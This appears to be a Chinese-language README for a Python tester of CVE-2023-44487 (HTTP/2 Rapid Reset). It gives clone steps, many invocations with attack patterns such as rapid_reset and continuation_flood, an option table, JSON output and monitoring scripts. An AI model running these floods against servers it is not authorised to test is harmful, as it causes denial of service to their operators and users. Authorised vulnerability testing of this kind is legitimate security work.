一个全面的 Python 测试工具,用于检测 CVE-2023-44487(HTTP/2 快速重置漏洞)。此增强版提供对测试参数的精细控制、多种攻击模式以及高级监控功能。
此工具仅用于教育和授权测试目的!
CVE-2023-44487,又称“HTTP/2 快速重置”,是 HTTP/2 协议中的一个严重漏洞,允许攻击者:
CVSS 评分: 7.5(高危)
影响: 拒绝服务、资源耗尽
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # 应为 3.7+
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| 选项 | 描述 | 默认值 |
|---|---|---|
-c, --connections N | 并发连接数 | 1 |
--connection-timeout SEC | 连接超时(秒) | 10 |
--read-timeout SEC | 响应读取超时 | 5 |
--connection-delay SEC | 连接之间的延迟 | 0.0 |
| 选项 | 描述 | 默认值 |
|---|---|---|
-r, --requests N | 每个连接的请求数 | 100 |
--delay SEC | HEADERS 和 RST_STREAM 之间的延迟 | 0.001 |
--request-delay SEC | 请求之间的延迟 | 0.0 |
--jitter FACTOR | 时序随机化因子 | 0.0 |
| 选项 | 描述 | 默认值 |
|---|---|---|
--pattern TYPE | 使用的攻击模式 | rapid_reset |
--burst-size N | 每次突发的请求数 | 10 |
--burst-delay SEC | 突发之间的延迟 | 0.1 |
可用模式:
rapid_reset - 标准快速重置攻击burst_reset - 基于突发的攻击gradual_reset - 逐渐增加的速率random_reset - 随机时序continuation_flood - CONTINUATION 帧洪泛mixed_pattern - 模式混合| 选项 | 描述 | 默认值 |
|---|---|---|
--window-size BYTES | HTTP/2 初始窗口大小 | 65535 |
--frame-size BYTES | 最大帧大小 | 16384 |
--header-table-size BYTES | HPACK 标头表大小 | 4096 |
--enable-push | 启用 HTTP/2 服务器推送 | False |
--rst-error-code CODE | RST_STREAM 错误码 | 8 |
| 选项 | 描述 | 默认值 |
|---|---|---|
--custom-headers HEADER | 自定义标头(名称:值) | None |
--random-headers | 生成随机标头 | False |
--header-count N | 随机标头数量 | 5 |
| 选项 | 描述 | 默认值 |
|---|---|---|
--randomize-streams | 使用随机流 ID | False |
--priority-frames | 包含优先级信息 | False |
--continue-on-error | 出错后继续 | True |
--max-errors N | 停止前允许的最大错误数 | 10 |
| 选项 | 描述 | 默认值 |
|---|---|---|
--track-latency | 跟踪请求延迟 | False |
--track-responses | 跟踪服务器响应 | False |
--monitor-memory | 监控内存使用情况 | False |
| 选项 | 描述 | 默认值 |
|---|---|---|
--output FORMAT | 输出格式 | console |
--output-file FILE | 输出文件名 | 自动生成 |
--verbose, -v | 详细输出 | False |
--debug | 调试日志 | False |
--log-file FILE | 日志文件 | None |
可用输出格式:
console - 人类可读的控制台输出json - 机器可读的 JSONcsv - 兼容电子表格的 CSVxml - 结构化 XML 格式该工具提供全面的结果,包括:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
该工具自动评估漏洞风险:
如果您的服务器被发现易受攻击,请实施以下缓解措施:
import subprocess
import json
# 运行自动化测试
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# 分析结果
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HIGH RISK: {vulnerability_score}% success rate")
#!/bin/bash
# Cron 任务:0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# 检测到漏洞时发出告警
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# 加载并分析 CSV 结果
df = pd.read_csv('results.csv')
# 可视化各连接的攻击成功率
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Attack Success by Connection')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Success Rate Distribution')
plt.show()